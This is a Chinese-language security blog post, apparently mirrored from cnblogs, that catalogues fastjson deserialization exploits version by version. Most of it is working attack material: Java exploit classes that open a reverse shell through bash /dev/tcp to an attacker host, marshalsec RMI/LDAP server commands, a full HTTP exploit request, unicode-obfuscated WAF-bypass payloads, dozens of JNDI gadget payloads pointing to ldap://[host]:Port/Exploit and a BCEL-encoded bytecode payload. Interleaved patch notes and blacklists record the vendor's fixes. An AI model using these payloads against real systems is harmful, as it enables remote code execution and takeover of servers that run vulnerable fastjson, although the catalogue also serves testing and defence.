zoukankan      html  css  js  c++  java
  • 安全研究

    fastjson反序列化框架图

    JNDI

    不出网

    1.直接反序列化 _bytecodes

    2.直接反序列化,通过dbcp

    版本识别Payload

    {"@type":"java.lang.AutoCloseable"

    exp.java -( Windows环境-弹出计算器,Linux环境-反弹shell)

    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.io.IOException;
    import java.util.Hashtable;
    public class Exploit{
    public Exploit() {}
    static
    {
    try {
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
    ? new String[]{"cmd.exe","/c", "calc.exe"}
    : new String[]{"bash", "-c", "/bin/bash -i >& /dev/tcp/[host]/Port 0>&1"};
    Runtime.getRuntime().exec(cmds);
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    public static void main(String[] args) {
    Exploit e = new Exploit();
    System.out.println("hello world");
    }
    }

    Windows 环境

    exp.java -- 计算器

    public class Exploit {
    
            static {
                    System.err.println("Pwned");
                    try {
                            String[] cmd = {"calc"};
                            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
                    } catch ( Exception e ) {
                            e.printStackTrace();
                    }
            }
    }

    Linux反弹shell

    import java.io.BufferedReader;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class Exploit{
        public Exploit() throws Exception {
            Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/[Host]/Port 0>&1"});
            InputStream is = p.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(is));
    
            String line;
            while((line = reader.readLine()) != null) {
                System.out.println(line);
            }
    
            p.waitFor();
            is.close();
            reader.close();
            p.destroy();
        }
    
        public static void main(String[] args) throws Exception {
        }
    }

    TouchFile.java

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class TouchFile {
    static {
    try {
    Runtime rt = Runtime.getRuntime();
    String[] commands = {"touch", "/tmp/success"};
    Process pc = rt.exec(commands);
    pc.waitFor();
    } catch (Exception e) {
    // do nothing
    }
    }
    }

    过waf-Payload

    {"name":{"u0040u0074u0079u0070u0065":"u006au0061u0076u0061u002eu006cu0061u006eu0067u002eu0043u006cu0061u0073u0073","u0076u0061u006c":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c"},"x":{"u0040u0074u0079u0070u0065":"u0063u006fu006du002eu0073u0075u006eu002eu0072u006fu0077u0073u0065u0074u002eu004au0064u0062u0063u0052u006fu0077u0053u0065u0074u0049u006du0070u006c","u0064u0061u0074u0061u0053u006fu0075u0072u0063u0065u004eu0061u006du0065":"ldap://[host]:Port/Exploit","autoCommit":true}}

    {"@x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://host:port/Exploit"}

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[host]/Port","autoCommit":true}}

    FastJson快速识别

    有回显(不闭合花括号)

    poc-1
    {“a”:"

    poc-2

    {
    "@type":"java.net.Inet4Address",
    "val":"dnslog"

    无回显:
    {"name":{"@type":"java.net.Inet4Address","val":"dnslog"}} --无回显首选

    {"name":{"@type":"java.net.Inet6Address","val":"dnslog"}}

    {"name":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}

    {"name":{"@type":"java.net.URL","val":"dnslog"}}

    {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

    Set[{"@type":"java.net.URL","val":"dnslog"}]

    Set[{"@type":"java.net.URL","val":"dnslog"}

    {{"@type":"java.net.URL","val":"dnslog"}:0

    DDOS

    {"a":"x
    • 基于RMI的利用方式,适用jdk版本:JDK 6u132、JDK 7u122、JDK 8u113 之前

     

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#Exploit 1099
    • 基于LDAP的利用方式,适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前

     

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://[host]:Port/#Exploit 1389

    fastjson <= 1.2.24

    POST / HTTP/1.1
    Host: IP:Potr
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 138
    
    {
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://[host]:Port/Exploit",
    "autoCommit":true } }

    String Payload

    String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[host]:Port/Exploit", "autoCommit":true}";
    
    
    

    Fastjson 1.2.24 可用Gadgets 相关类

    0x1 基于com.sun.rowset.JdbcRowSetImpl(基于JNDI Bean Property类型)

    调用栈:

    0x2 基于com.sun.org.apache.bcel.internal.util.ClassLoader

    0x3 基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的PoC3(快手廖新喜师傅-实际环境中基本遇不到)

    0x4 基于TemplateImpl(限制比较多,需要打开SupportNonPublic开关,场景比较少见)

    0x05 基于JNDI Field类型

    Set[{"@type":"org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor","beanFactory":{
    "@type":"org.springframework.jndi.support.SimpleJndiBeanFactory","shareableResources":["ldap://[host]:Port/Exploit"]},"adviceBeanName":"ldap://[host]:Port/Exploit"},{"@type":"org.springframework.aop
    .support.DefaultBeanFactoryPointcutAdvisor",}]

    调用栈:

     0x06 基于JndiRefForwardingDataSource

    {"@type":"com.mchange.v2.c3p0.Jndi
    RefForwardingDataSource",
    "jndiName":"ldap://[host]:Port/Exploit",
    "loginTimeout":0 }

    调用栈:

    0x07 基于SpringPropertyPathFactory

    {"@type":"org.springframework.beans.fac
    tory.config.PropertyPathFactoryBean",
    "targetBeanName":"ldap://[host]:Port/Exploit",
    "propertyPath":"foo", "beanFactory": {"@type":"org.springframework.jndi.supp ort.SimpleJndiBeanFactory","shareableRe sources":["ldap://[host]:Port/Exploit"]}
    }

    调用栈

    0x08 基于WrapperConnectionPoolDataSource

    {"@type":"com.mchange.v2.c3p0
    .WrapperConnectionPoolDataSou
    rce",
    "userOverridesAsString":
    "HexAsciiSerializedMap:aced0005737200
    3d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469
    726563746f72245265666572656e636553657269616c697a6564621985d0d12ac21302000
    44c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b
    4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d65
    71007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f52656
    66572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656
    e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566
    563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f53747
    2696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636
    c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d997
    7d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d6
    56e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4
    f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a65
    63743b90ce589f1073296c02000078700000000a707070707070707070707874000745787
    06c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"}
    
    
    ByteArrayOutputStream b = new ByteArrayOutputStream();
    try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
    Class<?> refclz = 
    Class.forName("com.mchange.v2.naming.ReferenceIndirector$Reference
    Serialized"); //$NON-NLS-1$
    Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, 
    Name.class, Name.class, Hashtable.class);
    con.setAccessible(true);
    Reference jndiref = new Reference("Foo", clazz, codebase);
    Object ref = con.newInstance(jndiref, null, null, null);
    oos.writeObject(ref);
    }
    return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) 
    + ";"; //$NON-NLS-1$

    调用栈:

    0x09 基于dhcp

            payload = "{
    " +
                    ""@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
    " +
                    ""driverClassLoader": {
    " +
                    ""@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    " +
                    "},
    " +
                    ""driverClassName": "$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A" + "",
    " +
                    ""logWriter":""
    " +
                    "}";
            System.out.println(payload);
            JSON.parse(payload);
        }
    }

    0x10 基于StatisticsService

     payload = "{"@type":"org.hibernate.jmx.StatisticsService","SessionFactoryJNDIName":"rmi://127.0.0.1:1099/Exploit"}";

    fastjson 1.2.25

    补丁:

    (1)默认关闭autotype功能
    (2)修复 fastjson <= 1.2.24版本漏洞

     fastjson 1.2.41(添加黑名单类)

    this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

    fastjson <= 1.2.41

    poc-1
    {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://[host]:Port/Exploit", "autoCommit":true}
    poc-2
    {
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://[host]:Port/Exploit","autoCommit":true]}

    fastjson  1.2.42

    补丁

    (1)原本明文的黑名单改成了哈希过的黑名单(2017.11 -- https://github.com/LeadroyaL/fastjson-blacklist)
    
    (2)防护措施:checkAutoType() 797行,通过subString将className开头和结尾去掉,去掉了fastjson <= 1.2.41 poc中的L和;

    fastjson <= 1.2.42

    poc-1
    {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://[host]:Port/Exploit", "autoCommit":true}
    
    poc-2
    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://[Host]:Port/Exploit","autoCommit":true]}

    fastjson 1.2.43

    补丁:

    如果className开头是LL就抛出错误

    fastjson <= 1.2.43

    {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://[Host]:Port/Exploit","autoCommit":true]}

    fastjson <= 1.2.45 

    {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://[HOst]:Port/Exploit"}}

    1.2.25 <= fastjson <= 1.2.47(后续漏洞皆是黑名单类的绕过) 

    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://[Host]:Port/Exploit","autoCommit":true}}}

    补丁:

    (1)黑名单修复:
    增加
    java.lang.Class 
    java.net.InetAddress
    (2)MiscCodec.java文件对cache缓存设置成false
    (3)ParserConfig.java文件对checkAutoType()进行了相关策略调整

    fastjson <= 1.2.60

    拒绝服务漏洞(安卓版本1.1.71.android 不受此漏洞影响) 

    poc-1
    {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://[host]:Port/Exploit"}

    poc-2
    {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"ldap://[host]:Port/Exploit"}

    fastjson = 1.2.61

    补丁:

    把黑名单从十进制数变成了十六进制数  -2019.9 -- https://github.com/alibaba/fastjson/commit/d1c0dff9a33d49e6e7b98a4063da01bbc9325a38

    fastjson 1.2.62 

    补丁:

    把黑名单小写字符替换为大写字符 -- https://github.com/alibaba/fastjson/commit/014444e6c62329ec7878bb6b0c6b28c3f516c54e)

    fastjson <= 1.2.62

    {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://[host]:Port/Exploit"}";

    fastjson <= 1.2.66 

    // 需要autotype=true
    poc-1
    {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","resourceName":"ldap://[host]:Port/Exploit"}

    fastjson 1.2.67 

    补丁:

    (1)将内置白名单也使用哈希的方式存放 https://github.com/alibaba/fastjson/commit/84eca8e56003ff6ebad3da19c6d69dcd842dbdf7 
    
    (2)org.springframework.security.web.savedrequest.DefaultSavedRequest从白名单移除 

    fastjson <=1.2.67

    • fastjson sec版本 <= sec9
    • android版本不受此漏洞影响
     
    {"@type":"org.apache.shiro.jndi.JndiObjectFactory","metricRegistry":"ldap://[host]:Port/Exploit"}
    {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://[host]:Port/Exploit"}

    {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://[host]:Port/Exploit"}

    {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://[host]:Port/Exploit"}}

    fastjson <=1.2.68
    补丁:
    1)
    引入了safeMode,开启safeMode可关闭autoType功能
    2) 补全1.2.67 绕过 autoType黑名单
    
    
    caucho-quercus
    com.caucho.config.types.ResourceRef

    CocoonComponents
    String fastjsonPayload = "{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://[IP]:Port/Exploit"}, "namespace":""}";
    shaded hikari-config(HadoopHikariPoc)
    payload-1
    String payload = "{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://[IP]:Port/Exploit"}";
    payload-2
    String payload = "{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://[IP]:Port/Exploit"}";
    HikariConfig
    payload-1
    String payload = "{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://[IP]:Port/Exploit"}";
    payload-2
    String payload = "{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://[IP]:Port/Exploit"}";
    CommonsProxy
    String payload = "{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://[IP]:Port/Exploit","Object":"a"}";


    fastjson 1.2.70
    (1)引入了safeMode
    (2)补全1.2.68 autoType黑名单

    fastjson 1.2.70

    增加autoType黑名单

    fastjson 1.2.71

    增加autoType黑名单(预防性补充)

    Gadgets 构造方法:
    抽象语法树分析 -- https://www.freebuf.com/articles/web/213327.html

    1.2.24 Payload 打 1.2.47版本漏洞
    1.2.47 Payload 打 1.2.24版本漏洞

     

    HadoopHikariPoc
  • 相关阅读:
    MySql 语言分类
    grep正则 以.o结尾的文件
    demo板 apt-get install stress
    ltp-ddt qspi_mtd_dd_rw error can't read superblock on /dev/mtdblock0
    linux 系统中的 /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin 目录的区别
    setenv和dos2unix碰到的问题
    bootz to be continued
    runltp出现问题 [
    demo board boot mode
    excel条件格式 满足包含xx的整行高亮
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/12565745.html
Copyright © 2011-2022 走看看